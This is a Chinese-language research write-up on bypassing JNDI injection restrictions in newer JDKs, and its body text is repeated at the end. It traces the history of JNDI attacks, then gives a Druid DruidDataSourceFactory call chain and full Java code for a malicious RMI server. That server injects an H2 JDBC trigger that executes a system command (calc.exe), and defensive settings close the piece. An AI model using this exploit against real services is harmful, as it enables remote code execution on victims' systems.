JNDI jdk高版本绕过—— Druid
字数 1369 2025-08-24 23:51:15

JNDI高版本绕过技术研究:基于Apache Druid的利用链分析

1. JNDI基础概念

JNDI(Java Naming and Directory Interface)是Java命名和目录接口,允许客户端通过不同服务协议获取数据或对象。支持的服务协议包括:

  • LDAP
  • DNS
  • NIS
  • RMI
  • CORBA

2. JNDI攻击历史演变

2.1 RMI绑定远程对象(早期利用)

  • 原理:将RMI远程对象绑定到RMI Registry,客户端lookup()时若本地无Stub类定义,则从远程Codebase加载
  • 利用条件
    • 允许访问远程Codebase
    • JDK版本低于6u45、7u21(java.rmi.server.useCodebaseOnly限制前)

2.2 RMI绑定Reference加载远程Factory类

  • 原理:通过RMI返回JNDI Naming Reference,客户端解码时从指定Codebase加载Factory类
  • 利用条件
    • JDK版本低于6u132, 7u122, 8u113(com.sun.jndi.rmi.object.trustURLCodebase限制前)

2.3 LDAP绑定Reference加载远程Factory类

  • 原理:通过LDAP返回JNDI Naming Reference,客户端解码时从指定Codebase加载Factory类
  • 利用条件
    • JDK版本低于8u191、7u201、6u211(com.sun.jndi.ldap.object.trustURLCodebase限制前)

3. 高版本JDK绕过技术

3.1 本地Factory类利用

  • 原理:利用受害者本地CLASSPATH中实现javax.naming.spi.ObjectFactory接口的类
  • 常见利用类:org.apache.naming.factory.BeanFactory(Tomcat依赖包中)

3.2 LDAP+反序列化

  • 原理:LDAP直接返回恶意序列化对象,利用本地反序列化Gadget
  • 限制:需要本地存在可利用的反序列化链

4. Apache Druid利用链分析

4.1 发现过程

  • 审计DruidDataSourceFactory类(实现javax.naming.spi.ObjectFactory接口)
  • 关键代码功能:
    • 创建DataSource
    • 可配置password、url、username
    • 根据init参数决定是否初始化

4.2 完整调用链

createPhysicalConnection:1663, DruidAbstractDataSource (com.alibaba.druid.pool)
init:914, DruidDataSource (com.alibaba.druid.pool)
config:392, DruidDataSourceFactory (com.alibaba.druid.pool)
createDataSourceInternal:162, DruidDataSourceFactory (com.alibaba.druid.pool)
getObjectInstance:157, DruidDataSourceFactory (com.alibaba.druid.pool)
getObjectInstance:331, NamingManager (javax.naming.spi)

4.3 恶意服务端构造

try {
    Registry registry = LocateRegistry.createRegistry(8883);
    Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
    
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                     "INFORMATION_SCHEMA.TABLES AS 
$$
//javascript\n" +
                     "java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
                     "
$$
\n";
    String JDBC_USER = "root";
    String JDBC_PASSWORD = "password";
    
    ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
    ref.add(new StringRefAddr("url", JDBC_URL));
    ref.add(new StringRefAddr("username", JDBC_USER));
    ref.add(new StringRefAddr("password", JDBC_PASSWORD));
    ref.add(new StringRefAddr("initialSize", "1"));
    ref.add(new StringRefAddr("init", "true"));
    
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
    Naming.bind("rmi://localhost:8883/zlgExploit", referenceWrapper);
} catch (Exception e) {
    e.printStackTrace();
}

4.4 利用条件

  • 客户端本地无可用反序列化Gadget
  • 非基于Tomcat的应用环境
  • 存在Druid依赖

5. 防御建议

  1. 升级JDK:使用最新版本JDK(8u191/7u201/6u211以上)
  2. 设置安全属性
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    
  3. 输入验证:严格验证JNDI lookup参数
  4. 依赖管理:移除不必要的依赖或使用安全版本

6. 总结

该利用链适用于特定环境:

  • 高版本JDK(传统JNDI注入被限制)
  • 无Tomcat依赖
  • 无可用反序列化链
  • 存在Druid依赖

通过利用DruidDataSourceFactory作为本地Factory类,结合JDBC攻击实现命令执行,为高版本JDK环境下的JNDI注入提供了新的攻击面。

JNDI高版本绕过技术研究:基于Apache Druid的利用链分析 1. JNDI基础概念 JNDI(Java Naming and Directory Interface)是Java命名和目录接口,允许客户端通过不同服务协议获取数据或对象。支持的服务协议包括: LDAP DNS NIS RMI CORBA 2. JNDI攻击历史演变 2.1 RMI绑定远程对象(早期利用) 原理 :将RMI远程对象绑定到RMI Registry,客户端lookup()时若本地无Stub类定义,则从远程Codebase加载 利用条件 : 允许访问远程Codebase JDK版本低于6u45、7u21(java.rmi.server.useCodebaseOnly限制前) 2.2 RMI绑定Reference加载远程Factory类 原理 :通过RMI返回JNDI Naming Reference,客户端解码时从指定Codebase加载Factory类 利用条件 : JDK版本低于6u132, 7u122, 8u113(com.sun.jndi.rmi.object.trustURLCodebase限制前) 2.3 LDAP绑定Reference加载远程Factory类 原理 :通过LDAP返回JNDI Naming Reference,客户端解码时从指定Codebase加载Factory类 利用条件 : JDK版本低于8u191、7u201、6u211(com.sun.jndi.ldap.object.trustURLCodebase限制前) 3. 高版本JDK绕过技术 3.1 本地Factory类利用 原理 :利用受害者本地CLASSPATH中实现javax.naming.spi.ObjectFactory接口的类 常见利用类 :org.apache.naming.factory.BeanFactory(Tomcat依赖包中) 3.2 LDAP+反序列化 原理 :LDAP直接返回恶意序列化对象,利用本地反序列化Gadget 限制 :需要本地存在可利用的反序列化链 4. Apache Druid利用链分析 4.1 发现过程 审计DruidDataSourceFactory类(实现javax.naming.spi.ObjectFactory接口) 关键代码功能: 创建DataSource 可配置password、url、username 根据init参数决定是否初始化 4.2 完整调用链 4.3 恶意服务端构造 4.4 利用条件 客户端本地无可用反序列化Gadget 非基于Tomcat的应用环境 存在Druid依赖 5. 防御建议 升级JDK :使用最新版本JDK(8u191/7u201/6u211以上) 设置安全属性 : 输入验证 :严格验证JNDI lookup参数 依赖管理 :移除不必要的依赖或使用安全版本 6. 总结 该利用链适用于特定环境: 高版本JDK(传统JNDI注入被限制) 无Tomcat依赖 无可用反序列化链 存在Druid依赖 通过利用DruidDataSourceFactory作为本地Factory类,结合JDBC攻击实现命令执行,为高版本JDK环境下的JNDI注入提供了新的攻击面。